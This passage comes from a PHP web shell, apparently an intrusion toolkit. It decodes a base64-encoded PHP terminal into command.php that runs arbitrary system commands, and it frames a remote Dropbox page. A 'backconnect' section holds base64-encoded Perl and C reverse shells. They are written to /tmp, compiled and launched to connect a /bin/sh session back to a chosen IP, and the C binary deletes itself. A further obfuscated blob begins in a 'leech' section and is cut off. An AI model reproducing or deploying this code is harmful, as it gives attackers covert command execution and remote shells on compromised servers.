G9kZSgiLiIsIHNoZWxsX2V4ZWMoInVuYW1lIC1uIikpOw0KJF9TRVNTSU9OWydwcm9tcHQnXSA9ICIiLnJ0cmltKCR1c2VyKS4iIi4iQCIuIiIucnRyaW0oJGhvc3RbMF0pLiIiOw0KfQ0KDQpmdW5jdGlvbiBjaGVja1Bhc3N3b3JkKCRwYXNzd2QpIHsNCmlmKCFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKXx8DQohaXNzZXQoJF9TRVJWRVJbJ1BIUF9BVVRIX1BXJ10pIHx8DQohaXNzZXQoJHBhc3N3ZFskX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddXSkgfHwNCiRwYXNzd2RbJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXV0gIT0gJF9TRVJWRVJbJ1BIUF9BVVRIX1BXJ10pIHsNCkBzZXNzaW9uX3N0YXJ0KCk7DQpyZXR1cm4gdHJ1ZTsNCn0NCmVsc2Ugew0KQHNlc3Npb25fc3RhcnQoKTsNCnJldHVybiB0cnVlOw0KfQ0KfQ0KDQpmdW5jdGlvbiBpbml0VmFycygpDQp7DQppZiAoZW1wdHkoJF9TRVNTSU9OWydjd2QnXSkgfHwgIWVtcHR5KCRfUkVRVUVTVFsncmVzZXQnXSkpDQp7DQokX1NFU1NJT05bJ2N3ZCddID0gZ2V0Y3dkKCk7DQokX1NFU1NJT05bJ2hpc3RvcnknXSA9IGFycmF5KCk7DQokX1NFU1NJT05bJ291dHB1dCddID0gJyc7DQokX1JFUVVFU1RbJ2NvbW1hbmQnXSA9Jyc7DQp9DQp9DQoNCmZ1bmN0aW9uIGJ1aWxkQ29tbWFuZEhpc3RvcnkoKQ0Kew0KaWYoIWVtcHR5KCRfUkVRVUVTVFsnY29tbWFuZCddKSkNCnsNCmlmKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpDQp7DQokX1JFUVVFU1RbJ2NvbW1hbmQnXSA9IHN0cmlwc2xhc2hlcygkX1JFUVVFU1RbJ2NvbW1hbmQnXSk7DQp9DQoNCi8vIGRyb3Agb2xkIGNvbW1hbmRzIGZyb20gbGlzdCBpZiBleGlzdHMNCmlmICgoJGkgPSBhcnJheV9zZWFyY2goJF9SRVFVRVNUWydjb21tYW5kJ10sICRfU0VTU0lPTlsnaGlzdG9yeSddKSkgIT09IGZhbHNlKQ0Kew0KdW5zZXQoJF9TRVNTSU9OWydoaXN0b3J5J11bJGldKTsNCn0NCmFycmF5X3Vuc2hpZnQoJF9TRVNTSU9OWydoaXN0b3J5J10sICRfUkVRVUVTVFsnY29tbWFuZCddKTsNCg0KLy8gYXBwZW5kIGNvbW1tYW5kICovDQokX1NFU1NJT05bJ291dHB1dCddIC49ICJ7JF9TRVNTSU9OWydwcm9tcHQnXX0iLiI6PiIuInskX1JFUVVFU1RbJ2NvbW1hbmQnXX0iLiJcbiI7DQp9DQp9DQoNCmZ1bmN0aW9uIGJ1aWxkSmF2YUhpc3RvcnkoKQ0Kew0KLy8gYnVpbGQgY29tbWFuZCBoaXN0b3J5IGZvciB1c2UgaW4gdGhlIEphdmFTY3JpcHQNCmlmIChlbXB0eSgkX1NFU1NJT05bJ2hpc3RvcnknXSkpDQp7DQokX1NFU1NJT05bJ2pzX2NvbW1hbmRfaGlzdCddID0gJyIiJzsNCn0NCmVsc2UNCnsNCiRlc2NhcGVkID0gYXJyYXlfbWFwKCdhZGRzbGFzaGVzJywgJF9TRVNTSU9OWydoaXN0b3J5J10pOw0KJF9TRVNTSU9OWydqc19jb21tYW5kX2hpc3QnXSA9ICciIiwgIicgLiBpbXBsb2RlKCciLCAiJywgJGVzY2FwZWQpIC4gJyInOw0KfQ0KfQ0KDQpmdW5jdGlvbiBvdXRwdXRIYW5kbGUoJGFsaWFzZXMpDQp7DQppZiAoZXJlZygnXltbOmJsYW5rOl1dKmNkW1s6Ymxhbms6XV0qJCcsICRfUkVRVUVTVFsnY29tbWFuZCddKSkNCnsNCiRfU0VTU0lPTlsnY3dkJ10gPSBnZXRjd2QoKTsgLy9kaXJuYW1lKF9fRklMRV9fKTsNCn0NCmVsc2VpZihlcmVnKCdeW1s6Ymxhbms6XV0qY2RbWzpibGFuazpdXSsoW147XSspJCcsICRfUkVRVUVTVFsnY29tbWFuZCddLCAkcmVncykpDQp7DQovLyBUaGUgY3VycmVudCBjb21tYW5kIGlzICdjZCcsIHdoaWNoIHdlIGhhdmUgdG8gaGFuZGxlIGFzIGFuIGludGVybmFsIHNoZWxsIGNvbW1hbmQuDQovLyBhYnNvbHV0ZS9yZWxhdGl2ZSBwYXRoID8iDQooJHJlZ3NbMV1bMF0gPT0gJy8nKSA/ICRuZXdfZGlyID0gJHJlZ3NbMV0gOiAkbmV3X2RpciA9ICRfU0VTU0lPTlsnY3dkJ10gLiAnLycgLiAkcmVnc1sxXTsNCg0KLy8gY29zbWV0aWNzDQp3aGlsZSAoc3RycG9zKCRuZXdfZGlyLCAnLy4vJykgIT09IGZhbHNlKQ0KJG5ld19kaXIgPSBzdHJfcmVwbGFjZSgnLy4vJywgJy8nLCAkbmV3X2Rpcik7DQp3aGlsZSAoc3RycG9zKCRuZXdfZGlyLCAnLy8nKSAhPT0gZmFsc2UpDQokbmV3X2RpciA9IHN0cl9yZXBsYWNlKCcvLycsICcvJywgJG5ld19kaXIpOw0Kd2hpbGUgKHByZWdfbWF0Y2goJ3wvXC5cLig/IVwuKXwnLCAkbmV3X2RpcikpDQokbmV3X2RpciA9IHByZWdfcmVwbGFjZSgnfC8/W14vXSsvXC5cLig/IVwuKXwnLCAnJywgJG5ld19kaXIpOw0KDQppZihlbXB0eSgkbmV3X2RpcikpOiAkbmV3X2RpciA9ICIvIjsgZW5kaWY7DQoNCihAY2hkaXIoJG5ld19kaXIpKSA/ICRfU0VTU0lPTlsnY3dkJ10gPSAkbmV3X2RpciA6ICRfU0VTU0lPTlsnb3V0cHV0J10gLj0gImNvdWxkIG5vdCBjaGFuZ2UgdG86ICRuZXdfZGlyXG4iOw0KfQ0KZWxzZQ0Kew0KLyogVGhlIGNvbW1hbmQgaXMgbm90IGEgJ2NkJyBjb21tYW5kLCBzbyB3ZSBleGVjdXRlIGl0IGFmdGVyDQoqIGNoYW5naW5nIHRoZSBkaXJlY3RvcnkgYW5kIHNhdmUgdGhlIG91dHB1dC4gKi8NCmNoZGlyKCRfU0VTU0lPTlsnY3dkJ10pOw0KDQovKiBBbGlhcyBleHBhbnNpb24uICovDQokbGVuZ3RoID0gc3RyY3NwbigkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgIiBcdCIpOw0KJHRva2VuID0gc3Vic3RyKEAkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgMCwgJGxlbmd0aCk7DQppZiAoaXNzZXQoJGFsaWFzZXNbJHRva2VuXSkpDQokX1JFUVVFU1RbJ2NvbW1hbmQnXSA9ICRhbGlhc2VzWyR0b2tlbl0gLiBzdWJzdHIoJF9SRVFVRVNUWydjb21tYW5kJ10sICRsZW5ndGgpOw0KDQokcCA9IHByb2Nfb3BlbihAJF9SRVFVRVNUWydjb21tYW5kJ10sDQphcnJheSgxID0+IGFycmF5KCdwaXBlJywgJ3cnKSwNCjIgPT4gYXJyYXkoJ3BpcGUnLCAndycpKSwNCiRpbyk7DQoNCi8qIFJlYWQgb3V0cHV0IHNlbnQgdG8gc3Rkb3V0LiAqLw0Kd2hpbGUgKCFmZW9mKCRpb1sxXSkpIHsNCiRfU0VTU0lPTlsnb3V0cHV0J10gLj0gaHRtbHNwZWNpYWxjaGFycyhmZ2V0cygkaW9bMV0pLEVOVF9DT01QQVQsICdVVEYtOCcpOw0KfQ0KLyogUmVhZCBvdXRwdXQgc2VudCB0byBzdGRlcnIuICovDQp3aGlsZSAoIWZlb2YoJGlvWzJdKSkgew0KJF9TRVNTSU9OWydvdXRwdXQnXSAuPSBodG1sc3BlY2lhbGNoYXJzKGZnZXRzKCRpb1syXSksRU5UX0NPTVBBVCwgJ1VURi04Jyk7DQp9DQoNCmZjbG9zZSgkaW9bMV0pOw0KZmNsb3NlKCRpb1syXSk7DQpwcm9jX2Nsb3NlKCRwKTsNCn0NCn0NCn0gLy8gZW5kIHBocHRoaWVubGUNCg0KLyojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjICMjIyMjIyMjIw0KIyMgVGhlIG1haW4gdGhpbmcgc3RhcnRzIGhlcmUNCiMjIEFsbCBvdXRwdXQgaXN0IFhIVE1MDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyAjIyMjIyMjIyovDQokdGVybWluYWw9bmV3IHBocHRoaWVubGU7DQpAc2Vzc2lvbl9zdGFydCgpOw0KJHRlcm1pbmFsLT5pbml0VmFycygpOw0KJHRlcm1pbmFsLT5idWlsZENvbW1hbmRIaXN0b3J5KCk7DQokdGVybWluYWwtPmJ1aWxkSmF2YUhpc3RvcnkoKTsNCmlmKCFpc3NldCgkX1NFU1NJT05bJ3Byb21wdCddKSk6ICR0ZXJtaW5hbC0+Zm9ybWF0UHJvbXB0KCk7IGVuZGlmOw0KJHRlcm1pbmFsLT5vdXRwdXRIYW5kbGUoJGFsaWFzZXMpOw0KDQpoZWFkZXIoJ0NvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PVVURi04Jyk7DQplY2hvICc8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJVVEYtOCI/PicgLiAiXG4iOw0KLyojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjICMjIyMjIyMjIw0KIyMgc2FmZSBtb2RlIGluY3JlYXNlDQojIyBibG9xdWUgZm9uY3Rpb24NCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjICMjIyMjIyMjKi8NCj8+DQo8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBTdHJpY3QvL0VOIg0KImh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXN0cmljdC5kdGQiPg0KPGh0bWwgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIHhtbDpsYW5nPSJlbiIgbGFuZz0iZW4iPg0KPGhlYWQ+DQo8dGl0bGU+PD9waHAgZWNobyAiV2Vic2l0ZSA6ICIuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiIiOz8+IHwgPD9waHAgZWNobyAiSVAgOiAiLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pLiIiOz8+PC90aXRsZT4NCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBsYW5ndWFnZT0iSmF2YVNjcmlwdCI+DQp2YXIgY3VycmVudF9saW5lID0gMDsNCnZhciBjb21tYW5kX2hpc3QgPSBuZXcgQXJyYXkoPD9waHAgZWNobyAkX1NFU1NJT05bJ2pzX2NvbW1hbmRfaGlzdCddOyA/Pik7DQp2YXIgbGFzdCA9IDA7DQpmdW5jdGlvbiBrZXkoZSkgew0KaWYgKCFlKSB2YXIgZSA9IHdpbmRvdy5ldmVudDsNCmlmIChlLmtleUNvZGUgPT0gMzggJiYgY3VycmVudF9saW5lIDwgY29tbWFuZF9oaXN0Lmxlbmd0aC0xKSB7DQpjb21tYW5kX2hpc3RbY3VycmVudF9saW5lXSA9IGRvY3VtZW50LnNoZWxsLmNvbW1hbmQudmFsdWU7DQpjdXJyZW50X2xpbmUrKzsNCmRvY3VtZW50LnNoZWxsLmNvbW1hbmQudmFsdWUgPSBjb21tYW5kX2hpc3RbY3VycmVudF9saW5lXTsNCn0NCmlmIChlLmtleUNvZGUgPT0gNDAgJiYgY3VycmVudF9saW5lID4gMCkgew0KY29tbWFuZF9oaXN0W2N1cnJlbnRfbGluZV0gPSBkb2N1bWVudC5zaGVsbC5jb21tYW5kLnZhbHVlOw0KY3VycmVudF9saW5lLS07DQpkb2N1bWVudC5zaGVsbC5jb21tYW5kLnZhbHVlID0gY29tbWFuZF9oaXN0W2N1cnJlbnRfbGluZV07DQp9DQp9DQpmdW5jdGlvbiBpbml0KCkgew0KZG9jdW1lbnQuc2hlbGwuc2V0QXR0cmlidXRlKCJhdXRvY29tcGxldGUiLCAib2ZmIik7DQpkb2N1bWVudC5zaGVsbC5vdXRwdXQuc2Nyb2xsVG9wID0gZG9jdW1lbnQuc2hlbGwub3V0cHV0LnNjcm9sbEhlaWdodDsNCmRvY3VtZW50LnNoZWxsLmNvbW1hbmQuZm9jdXMoKTsNCn0NCjwvc2NyaXB0Pg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCmJvZHkge2ZvbnQtZmFtaWx5OiBzYW5zLXNlcmlmOyBjb2xvcjogYmxhY2s7IGJhY2tncm91bmQ6IHdoaXRlO30NCnRhYmxle3dpZHRoOiAxMDAlOyBoZWlnaHQ6IDI1MHB4OyBib3JkZXI6IDFweCAjMDAwMDAwIHNvbGlkOyBwYWRkaW5nOiAwcHg7IG1hcmdpbjogMHB4O30NCnRkLmhlYWR7YmFja2dyb3VuZC1jb2xvcjogIzUyOUFERTsgY29sb3I6ICNGRkZGRkY7IGZvbnQtd2VpZ2h0OjcwMDsgYm9yZGVyOiBub25lOyB0ZXh0LWFsaWduOiBjZW50ZXI7IGZvbnQtc3R5bGU6IGl0YWxpY30NCnRleHRhcmVhIHt3aWR0aDogMTAwJTsgYm9yZGVyOiBub25lOyBwYWRkaW5nOiAycHggMnB4IDJweDsgY29sb3I6ICNDQ0NDQ0M7IGJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7fQ0KcC5wcm9tcHQge2ZvbnQtZmFtaWx5OiBtb25vc3BhY2U7IG1hcmdpbjogMHB4OyBwYWRkaW5nOiAwcHggMnB4IDJweDsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6ICNDQ0NDQ0M7fQ0KaW5wdXQucHJvbXB0IHtib3JkZXI6IG5vbmU7IGZvbnQtZmFtaWx5OiBtb25vc3BhY2U7IGJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7IGNvbG9yOiAjQ0NDQ0NDO30NCjwvc3R5bGU+DQo8L2hlYWQ+DQo8Ym9keSBvbmxvYWQ9ImluaXQoKSI+DQo8aDI+RGV2ZWxvcGVyIEJ5IEt5bUxqbms8L2gyPg0KDQo8P3BocCBpZiAoZW1wdHkoJF9SRVFVRVNUWydyb3dzJ10pKSAkX1JFUVVFU1RbJ3Jvd3MnXSA9IDI2OyA/Pg0KDQo8dGFibGUgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4NCjx0cj48dGQgY2xhc3M9ImhlYWQiIHN0eWxlPSJjb2xvcjogIzAwMDAwMDsiPjxiPlBXRCA6PC9iPjwvdGQ+DQo8dGQgY2xhc3M9ImhlYWQiPjw/cGhwIGVjaG8gJF9TRVNTSU9OWydwcm9tcHQnXS4iOiIuIiRfU0VTU0lPTltjd2RdIjsgPz4NCjwvdGQ+PC90cj4NCjx0cj48dGQgd2lkdGg9JzEwMCUnIGhlaWdodD0nMTAwJScgY29sc3Bhbj0nMic+PGZvcm0gbmFtZT0ic2hlbGwiIGFjdGlvbj0iPD9waHAgZWNobyAkX1NFUlZFUlsnUEhQX1NFTEYnXTs/PiIgbWV0aG9kPSJwb3N0Ij4NCjx0ZXh0YXJlYSBuYW1lPSJvdXRwdXQiIHJlYWRvbmx5PSJyZWFkb25seSIgY29scz0iODUiIHJvd3M9Ijw/cGhwIGVjaG8gJF9SRVFVRVNUWydyb3dzJ10gPz4iPg0KPD9waHANCiRsaW5lcyA9IHN1YnN0cl9jb3VudCgkX1NFU1NJT05bJ291dHB1dCddLCAiXG4iKTsNCiRwYWRkaW5nID0gc3RyX3JlcGVhdCgiXG4iLCBtYXgoMCwgJF9SRVFVRVNUWydyb3dzJ10rMSAtICRsaW5lcykpOw0KZWNobyBydHJpbSgkcGFkZGluZyAuICRfU0VTU0lPTlsnb3V0cHV0J10pOw0KPz4NCjwvdGV4dGFyZWE+DQo8cCBjbGFzcz0icHJvbXB0Ij48P3BocCBlY2hvICRfU0VTU0lPTlsncHJvbXB0J10uIjo+IjsgPz4NCjxpbnB1dCBjbGFzcz0icHJvbXB0IiBuYW1lPSJjb21tYW5kIiB0eXBlPSJ0ZXh0IiBvbmtleXVwPSJrZXkoZXZlbnQpIiBzaXplPSI2MCIgdGFiaW5kZXg9IjEiPg0KPC9wPg0KDQo8PyAvKjxwPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkV4ZWN1dGUgQ29tbWFuZCIgLz4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InJlc2V0IiB2YWx1ZT0iUmVzZXQiIC8+DQpSb3dzOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icm93cyIgdmFsdWU9Ijw/cGhwIGVjaG8gJF9SRVFVRVNUWydyb3dzJ10gPz4iIC8+DQo8L3A+DQoqLz8+DQo8L2Zvcm0+PC90ZD48L3RyPg0KPC9ib2R5Pg0KPC9odG1sPg0KPD9waHAgPz4=';
1225$file = fopen("command.php" ,"w+");
1226$write = fwrite ($file ,base64_decode($perltoolss));
1227fclose($file);
1228echo "<iframe src=command.php width=63% height=700px frameborder=0></iframe> ";
1229echo "<iframe src=http://dl.dropbox.com/u/74425391/command.html width=35% height=700px frameborder=0></iframe> ";
1230}//end new command
1231elseif ($action == 'backconnect') { !$yourip && $yourip = $_SERVER['REMOTE_ADDR']; !$yourport && $yourport = '7777'; $usedb = array('perl'=>'perl','c'=>'c'); $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR". "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI". "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi". "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC". "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb". "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd". "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ". "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC". "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D". "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp". "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; if ($start && $yourip && $yourport && $use){ if ($use == 'perl') { cf('/tmp/angel_bc',$back_connect); $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &"); } else { cf('/tmp/angel_bc.c',$back_connect_c); $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c'); @unlink('/tmp/angel_bc.c'); $res = execute("/tmp/angel_bc $yourip $yourport &"); } m("Now script try connect to $yourip port $yourport ..."); } formhead(array('title'=>'Back Connect')); makehide('action','backconnect'); p('
1232'); p('Your IP:'); makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip)); p('Your Port:'); makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport)); p('Use:'); makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use)); makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt')); p('
1233
1234'); formfoot(); }//end backconnect
1235elseif ($action == 'leech') {
1236$file = fopen($dir."leech.php" ,"w+");
1237$perltoolss = '';
1238/*
1239$perltoolss = 'PD9waHAgJGEgPSAnSUNSaElEMGdKMGxEVW1oSlJEQm5TakJ3U0ZKWFpGRlZNRVoxVld0YVIyUXlT
1240WGhqUm1oVFlsaFNhRll3Vm5Oa2JFNXhVV3M1YTJKVmNERldWekUwWVZkS2MxSnFRbUZTVjJoNldr
1241UkdkMVpYVGtWUmJVWllVakprTTFaRlVrdGlNREZJVTJ4b2EyVnRVa3RWYWtFeFpHeGtWMkZGZEd4
1242aVNFSmFWbFpTYzFZeFduTlRhMmhWVW14S2RWbHRkREJXVjAxM1RsVlNhV0Y2Vm5wWGExWmFUbFV4
1243U0ZKc2FFNVdNMmhhVkZjMWIyUXhiSE5hU0U1T1VsaFNSbFZXYUVOVlIxSTJVV3Q0VkdFeFdsQlph
1244a3BUVjFkS1NHVkhiR2hOVlhBelZsVmFhazFYU2toVmFsWlNZVEZLYjFVd1dscE5WbVJ6V1hwR1Ux
1245WXdXbFpaZWtFeFVrZEdWMU5ZWkZwV2JVNDBXV3RhYm1Wc1VuUlBWMFpYVFRKb05sVXhWbEprTVc5
1246M1lraENWRmRHV21oVmFrSmFaREZrYzFSdE5XaFdia0pGVkRGb1UxUlZNVmhrUnpWVlVtczFSRlV4
1247VlRWa1IwWTJWMjF3YkZaWGVETldSV1J6VTIxR1ZrOVVUazVTV0ZKTVZXcEtORTB4WkVWVWEzUnBV
1248akJ3V1ZReFVrTlpWbFYzVWxSV1ZGWlZOVlJYYlhoV1pERmFjMVJzWkdoTlZuQlZWbXBPYzFNeFZY
1249aFRiRnBPVm10S1dGVnNXbUZpVmxaWFZteE9VMVpzV25kVk1qRlRWVWRTTmxGcmVGUmhNbEpvV2xa
1250a1NtVlZNVmhYYlhCT1lsZG9lbGRYZEd0T1IwWjBVMWhzVm1KWWFFdFZhMUpEWW14T2NWUnJPV2xO
1251V0VKWldsVm9UMVZzUlhsVWFrWllZV3R3V0ZSVlpFZFRSVGxaWTBkMFUwMUhPSGhYVnpCNFVqSlNS
1252Mk5HVW1GTmJsSmFWRlpWTVZJeFdsaGxSMFpUWWtaYWVsbDZTVEZXYXpGSFYyeFNWMkpZVWxoV1ZF
1253WnVaREExVmxOc1ZsZFdiRm94VmpCYVQyTnRVbFpqUkZaYVpXMVNSbFpXWXpWamJIQkdXWHBXWVdK
1254SVFsbFVWbVJ2WVVaWmVscEhOVlpTYXpWRFdXMTRjMlJIVmtsWGJVWnNZVEowTTFkV1ZsZFJNa3Aw
1255VTJ4b1UySnJTbkJWV0hCWFkxWnNjVk5ZWkdsaGVtdDZWRlZXTUZNeFRrWk9XRTVhVFdwV2FGbHJa
1256RTlqTURsWlZXeHdWMDF1YURaVk1WWlNaREZ2ZDJKSVFsUlhSbHBvVkZkNFdtUXhiRlpaZWxac1ls
1257WktTVlV5Y0ZkaFYwcFdWMnBDV0dKRk5YVlpWRVp1WlVaU2NsZHNXbWxTYmtKSVZteGtOR1Z0U25O
1258V1dHUlhZa1UxV0ZsVVJtRldSbVJGVVZSR1VtSkdTbGRXYkdNeFYxWlZlV1JFUmxSV01uaERWMnBD
1259TkZaR1JsaGlSVEZvVm10d2RGWnNVa05XTVZWNFYyNUtWMkpGTlZsYVZtUlRVMnhhY2xkc1RsWldi
1260V1F6V1ZWYVExWnJNVmRTYmxaWVVtc3dkMWxXVm5OalYwMTNUbFZTYUZacmNEWlhWbHBxVFZkT2My
1261RXpjRlJXTWxKU1ZsUkNSMk5HV2taYVNFNXJWakJaTWxscVNtdFRiVVpWVlc1S1dGSkZXbEJWYlho
1262WFl6RmtjbGRzV21sVFJUVXhWbXhTUTFZeFZYaFhia3BYWWtVMVdsUlZVbGRSTVZwSFZteGFhV0pI
1263YUZWVWEyUnpVMjFHVlZWdVNsaFNSVnBRVlcxNFYyTXhaSEpYYkZwcFUwVTFNVlpzWkRCV01WWnpW
1264MnhhVjJKR1NsaFZiWEJ6VmpGYVdHUklTbWxpUjJoVlZHdGtjMU5zUmpaUmJUVldUVlp3UTFkcVJr
1265dFhWMFpJWTBkMFdGSnJjRE5YVnpCNFlXczFjbUpGVWxaaWEwcHhWVzF3YzA1V1pITlpNMmhyWWxa
1266S1NWWnNaR3RVVmxWM1UyeGFXbFp0VGpSWmExVTFZMFpHV0dSSGRGTk5ibWQzVmpKNFdrNVhWblJT
1267YTJoWFltczFjRlZVUW5KTk1VcEhVbTVhYUUxcldrbFdiVEZ2V1ZaSmVGZHFWbFJXVmtZelYycENj
1268Mk5zWkhWaVIyeE9ZV3RGZVZVeFZrOVZNa3BZVkc1U1VGZEdTbHBVVkVFeFpHeGtjMXBFVW1wTlYz
1269UTFWREZrTUZsV1duVmhSRlpZVWxkTmVGWlVSbmRYVmtaMVZHMTRWbVZyVmpOWFZ6VjNaR3h2ZDJO
1270RmFGaGliWGh3VkZkd1IySldiRFpUYlRscFVqQndTVnBWWkhkaFZURnpVMjVPVkZZelFqWldSM1JQ
1271WTJ4R2RWVnNjRmROYm1nMlZYcENUMVV3TVVoVFdHaFFWak5vY0ZacVFtRmtNV3h5VkdwT1lVMUlR
1272a3BXUnpFMFlXMUtjMk5JVGxwTmJtTXhXa1ZhYzFkSFNrbFVhekZTVFVWYWVWZFhkR3RqTWxKWVVs
1273aHNWV0p0ZUU1VlZFSkhZMnhzVmxwR1pHaFNia0pKVm0wMWMxUkdXa2xVYXpsU1RXMDRNRk42UWxO
1274VmJVbzJZVWRvVkZKcmIzZFhWM1JQVVRBMVNGTnNhR3hUUmxweFdsZHdRMk5HYkZaaFJrNU9VakEx
1275UmxscVRtRlVWVEI1VlZod1lWTkhjM2hVVkVGNFRsVTFXVmR0Y0dsV01EUjVWa1phVTJOck5WWlBW
1276bEpRVmtaS2IxVXdXa3ROUm14eVZHdHdZVTFzV2tsVVZtaFBWVWRLV1dGSE9WcGlWRVp4VkRGV2My
1277UkdXblZXYTNCb1ZsVndObFl4V21wTlYwcHpVV3hTVkdKWWFIQlpWbFp5WTJ4S1IxSnVXbEJTTVVw
1278SldXdFNRMkZXU1hoV1dFcFdVbFpGTVZwRVNrZFRWa1pZV2tkR1YwMUVWakpYVnpWelVXMUdWMWRZ
1279YkZkaVYzaHhWRmN4TTJReFpITlVhMHBQWVRKNFJWVXhhRmRUTVVweFlrWldWbUpHY0V4V2FrWkxW
1280akZPZEZOcmRFNVNNbWhYVm0xMFlWRXhjSE5VYTFwUVZteEtXRlZVU2xOaE1WSklZa1Z3YUZaVWF6
1281SlVNRTR3VTJ4T1NWcEhOVlpTVmtVeFdrUktSMU5XUmxoYVIwWlhUVVJXTWxkWE5YTlJiVVpYVkd4
1282a1VsWXlVbEZaVmxaSFkwWlNTRTFYZEdsU01VcEpXVlZvWVdGck1IaFRia0poVm0xTmVGbFZaRXRY
1283UmxwWVQxVjBVMkZ0ZUZaV1YzaGhVekZaZUZOc1pGUmlWWEJNVkZaVk1WSXhXbGhsUjBaVFlrWmFl
1284bFF4VlRWVmJGcFZVbXRrVkdGclZqTlpNRlkwWTBaT1dHSkdRbXhoYldSNVZURldVMDB5VW5SVmEy
1285aHBVa1ZLY0ZWcVJsWmpiRXBIVW01YVVGSXdNVFpXVjNCWFlWWkplRlpZU2xOU2Exb3lWVEl4UjFO
1286V1ZuVlZiV3hTVmtWS1RWVlVSbTlsYkZKeVZHMDFhRTFJUW5GVVYzTXhUbFpzY1ZOcVVtcE5WM2d3
1287VlcwMWMxUldaRWRUYWxaWVZtMVNVRmt5ZERSWFJsSjFWMjFzVTJWdGR6RldSRXB6VVcxR2NrMVZW
1288bEpYUjFKUFZXdFdSMDB4VVhwWk0yUlVUVVUxVTFscmFIZFhhekIzWTBSS1dtRXlVVEJaVmxwelYx
